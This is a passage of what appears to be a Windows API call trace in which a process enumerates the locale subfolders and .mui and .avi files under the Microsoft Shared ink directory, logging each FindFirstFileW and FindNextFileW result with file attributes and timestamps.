ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.026] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.026] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.026] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0054.026] GetLastError () returned 0x12 [0054.026] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.027] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.027] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.027] GetLastError () returned 0x12 [0054.027] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.027] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.027] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.027] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0054.027] GetLastError () returned 0x12 [0054.027] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.028] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.028] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.028] GetLastError () returned 0x12 [0054.028] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.028] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.028] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.028] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0054.028] GetLastError () returned 0x12 [0054.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.028] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.028] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0054.028] GetLastError () returned 0x12 [0054.028] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0054.029] GetLastError () returned 0x12 [0054.029] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0054.029] GetLastError () returned 0x12 [0054.029] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0054.029] GetLastError () returned 0x12 [0054.029] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0054.029] GetLastError () returned 0x12 [0054.029] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0054.029] GetLastError () returned 0x12 [0054.029] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0054.029] GetLastError () returned 0x12 [0054.029] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0054.029] GetLastError () returned 0x12 [0054.029] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0054.030] GetLastError () returned 0x12 [0054.030] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0054.030] GetLastError () returned 0x12 [0054.030] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0054.030] GetLastError () returned 0x12 [0054.030] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0054.030] GetLastError () returned 0x12 [0054.030] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0054.030] GetLastError () returned 0x12 [0054.030] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0054.030] GetLastError () returned 0x12 [0054.030] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0054.030] GetLastError () returned 0x12 [0054.030] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0054.031] GetLastError () returned 0x12 [0054.031] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0054.031] GetLastError () returned 0x12 [0054.031] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0054.031] GetLastError () returned 0x12 [0054.031] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0054.031] GetLastError () returned 0x12 [0054.031] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0054.031] GetLastError () returned 0x12 [0054.031] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0054.031] GetLastError () returned 0x12 [0054.031] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0054.031] GetLastError () returned 0x12 [0054.031] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.032] GetLastError () returned 0x12 [0054.032] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0054.032] GetLastError () returned 0x12 [0054.032] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0054.032] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.032] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.032] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0054.032] GetLastError () returned 0x12 [0054.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.032] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.033] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, 